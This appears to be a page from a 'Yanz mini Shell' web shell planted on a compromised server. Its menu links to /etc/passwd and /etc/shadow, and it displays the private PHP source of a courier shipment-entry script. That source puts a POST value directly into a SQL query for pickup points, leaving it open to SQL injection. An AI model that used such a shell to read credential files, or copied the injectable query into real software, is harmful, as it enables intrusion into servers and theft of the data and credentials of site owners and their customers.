Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

<?php 
ob_start();
session_start();
include "inc/config.php";
include "inc/session.php";
date_default_timezone_set('Asia/Kolkata');

if($_SESSION['user']['role']=='Modicare'){
    
    $clientId=$_SESSION['user']['id'];
    $clientLocation=$_SESSION['user']['location'];
    $clientType=$_SESSION['user']['role'];
}else{
    $session_id=$_SESSION['user']['id'];
    $statement = $pdo->prepare("SELECT * FROM `tbl_user` WHERE id=1");
    $statement->execute();
    $response = $statement->fetchAll(PDO::FETCH_ASSOC);
    foreach($response as $res){
        $clientId=$res['id'];
        $clientLocation=$res['location'];
        $clientType=$res['role'];
    }
}

$location = $_POST['location'];
        $valid = 1;
        $cscs_awb = "";
        $pl3_awb = "";
    
    if(empty($_POST['courier_id'])){
        $courier_id='0';
    }else{
        $courier_id=$_POST['courier_id'];
    }

$branch_id = $_POST['branch_id'];
        
        
// Select AWB Number Starts Here 
$statement_branch = $pdo->prepare("SELECT * FROM `tbl_branch` WHERE id=?");  
$statement_branch->execute(array($branch_id));
$branch_results = $statement_branch->fetchAll(PDO::FETCH_ASSOC);
$totalDatass = $statement_branch->rowCount();
if($totalDatass>0){
    $current_lr_no = $branch_results[0]['current_lr_no'];
    $starting_series = $branch_results[0]['starting_series'];
    $location=$branch_results[0]['name'];
}
// Select AWB Number Endsss Here
        
        
    
    if($_POST['autoGen']==1){
        $increment=1;
        do {
            
            $current_awb = $current_lr_no+1;
            $cscs_awb = $current_awb;
            
            /*$statement = $pdo->prepare("SELECT MAX(id) as big_id FROM pickup_entry");
			$statement->execute();
			$result = $statement->fetchAll(PDO::FETCH_ASSOC);
				foreach ($result as $row)
				{
				    $bid=$row['big_id'];
                    if($bid!='')
                    {
                        $awb_nos=$row['big_id']+$increment;
                        $cscs_awb=100000+$awb_nos;
                    }
                    else
                    {
                        $cscs_awb=100001;
                    }
				}*/
			$statement = $pdo->prepare("SELECT * FROM pickup_entry WHERE cscs_awb='$cscs_awb'");
			$statement->execute();
			$total_cscs = $statement->rowCount();
			$increment++;	
            } while ($total_cscs != 0);
            
    }else{
            $cscs_awb = $_POST['awb_number'];  
    }
				
				
        
    if(empty($_POST['3pl_awb'])){ 	
        $pl3_awb='';
    }else{ 
        $pl3_awb=$_POST['3pl_awb']; 
    }
                            
    if($valid==1)
    {
        
       $pickup_points = $_POST['pickup_points'];
        
        if($pickup_points!='' && $pickup_points!='all' && $pickup_points!='0'){
        
        $statementss = $pdo->prepare("SELECT * FROM tbl_pickup_points WHERE id='$pickup_points'");
		$statementss->execute();
		$resultss = $statementss->fetchAll();
		
		    $pickup_name = $resultss[0]['name'];
		    $pickup_address = $resultss[0]['address'];
		    $pickup_pincode = $resultss[0]['pincode'];
		    $pickup_city = $resultss[0]['city'];
		    $pickup_state = $resultss[0]['state'];
		    $pickup_phone = $resultss[0]['mobile_no'];
		    $pickup_points = $pickup_points;
        
        }else{
           
            $pickup_name = '';
		    $pickup_address = '';
		    $pickup_pincode = '';
		    $pickup_city = '';
		    $pickup_state = '';
		    $pickup_phone = '';
		    $pickup_points =0;
            
        }

$client_id = $_POST['client_id'];
        $customer_id = $_POST['customer_id'];
        
        if($client_id!='' && $client_id!='all' && $client_id!='0'){
            
            
            $client_id = $_POST['client_id'];
        }else{
            $client_id=0;
        }
        
        if($customer_id!='' && $customer_id!='all' && $customer_id!='0'){
            
            $customer_id = $_POST['customer_id'];
        }else{
            $customer_id=0;
        }

// Consignor Details Here
$shipper_location = $_POST['shipper_location'];

// Consignee Details Here
$consignee_name = $_POST['consignee_name'];
$consignee_address = $_POST['consignee_address'];
$consignee_city = $_POST['consignee_city'];
$consignee_state = $_POST['consignee_state'];
$consignee_pincode = $_POST['consignee_pincode'];
$consignee_phone = $_POST['consignee_phone'];
$consignee_location = $_POST['consignee_location'];

$_POST['invoice_no']= $_POST['invoice_no'] ?? ''; 
$_POST['remak']= $_POST['remak'] ?? '';
$_POST['material_type']= $_POST['material_type'] ?? '';
        
	$statement = $pdo->prepare("INSERT INTO pickup_entry (autoGen, courier_id, client_id, cscs_awb, status_code, 
		3pl_awb, ref_no, order_type,boxes,collectable_amount,
		shipper_name,shipper_address,shipper_city,shipper_state,shipper_pincode,
		shipper_phone,consignee_name,consignee_address,consignee_city,consignee_state,
		consignee_pincode,consignee_phone,product_description,quantity,invoice_value,
		taxable_value,hsn_code,discount,gst_amount,mrp,
		ewaybill,rto_name,rto_address,rto_city,rto_state,
		rto_pincode,rto_phone,a_weight,c_weight,gst_rate,
		buyer_gst,seller_gst,date_added,business_mode,business_type,
		branch_id, pickup_points,customer_id,pickup_name,pickup_address,
		pickup_pincode, pickup_city, pickup_state, pickup_phone, new_client_id,
		`consignee_location`, `shipper_location`,`remarks`,`invoice_no`,`material_type`) VALUES (?,?,?,?,?,
		?,?,?,?,?,
		?,?,?,?,?,
		?,?,?,?,?,
		?,?,?,?,?,
		?,?,?,?,?,
		?,?,?,?,?,
		?,?,?,?,?,
		?,?,?,?,?,
		?,?,?,?,?,
		?,?,?,?,?,
		?,?,?,?,?)");
	$result1=$statement->execute(array($_POST['autoGen'],$courier_id,$client_id,$cscs_awb,1,
		$pl3_awb,$_POST['ref_no'],$_POST['order_type'],$_POST['boxes'],$_POST['collectable_amount'],
		$_POST['shipper_name'],$_POST['shipper_address'],$_POST['shipper_city'],$_POST['shipper_state'],$_POST['shipper_pincode'],
		$_POST['shipper_phone'], $consignee_name, $consignee_address, $consignee_city, $consignee_state,
		$consignee_pincode, $_POST['consignee_phone'], $_POST['product_description'],$_POST['quantity'],$_POST['invoice_value'],
		$_POST['taxable_value'],$_POST['hsn_code'],$_POST['discount'],$_POST['gst_amount'],$_POST['mrp'],
		$_POST['ewaybill'],$_POST['rto_name'],$_POST['rto_address'],$_POST['rto_city'],$_POST['rto_state'],
		$_POST['rto_pincode'],$_POST['rto_phone'],$_POST['a_weight'],$_POST['c_weight'],$_POST['gst_rate'],
		$_POST['buyer_gst'],$_POST['seller_gst'],$_POST['date_added'],$_POST['pincode_mode'],$_POST['pincode_type'],
		$branch_id,$pickup_points,$customer_id,$pickup_name,$pickup_address,
		$pickup_pincode,$pickup_city,$pickup_state,$pickup_phone,$_POST['new_client'],
		$consignee_location, $shipper_location,$_POST['remak'],$_POST['invoice_no'],$_POST['material_type']));
		
		
		$ai_id = $pdo->lastInsertId();
	
	    // Current Series Update Starts Here
	    $statement = $pdo->prepare("UPDATE tbl_branch SET current_lr_no=? WHERE id=?");
		$results = $statement->execute(array($cscs_awb, $branch_id));
	    // Current Series Update Endsss Here
		
		
		/* Tracking Module Start */
		$tracking_description = "SHIPMENT HAS PICKED SUCCESSFULLY";
		$tracking_status_name = "PICKED";
		$statement = $pdo->prepare("INSERT INTO tbl_tracking (pickup_entry_id, user_id, location, status, status_code, description, remark, created_at) VALUES (?,?,?,?,?,?,?,?)");
		$result2 = $statement->execute(array($ai_id, $_POST['client_id'], $location, $tracking_status_name, '1', $tracking_description, 'Material Safe...', $_POST['date_added']));
		
		
	if(isset($_POST['length'])){	
		
		for($i=0; $i<count($_POST['length']); $i++){
		    $length = $_POST['length'][$i];
		    $width = $_POST['width'][$i];
		    $height = $_POST['height'][$i];
		    $no_of_box = $_POST['no_of_box'][$i];
		    $actual_weight = $_POST['actual_weight'][$i];
		    $charged_weight = $_POST['charged_weight'][$i];
		    $final_total_charges = $_POST['final_total_charges'][$i];
		    
		    
		    $statement = $pdo->prepare("INSERT INTO `tbl_volumetrix_weight`(`pickup_id`, `length`, `width`, `height`, `no_of_box`, `actual_weight`, `charged_weight`, `fin_charges_weight`) VALUES (?,?,?,?,?,?,?,?)");
		    $results = $statement->execute(array($ai_id, $length, $width, $height, $no_of_box, $actual_weight, $charged_weight, $final_total_charges));
		    
		    
		    
		    
		} 
	    
	}
		
		
	
    }	                    if($result1==1 && $result2==1)
							{
							    $txt='Success..! Shipment Added';
							    $error='1';
							}
							else
							{
							    $txt='Failed..! Try Again';
							    $error='0';
							}
                            
                              $datas[] = array('txt' => $txt, 'error' => $error,'awb_number'=>$cscs_awb,'p_id'=>$ai_id);
                              
                         echo json_encode($datas);     
                        
	
?>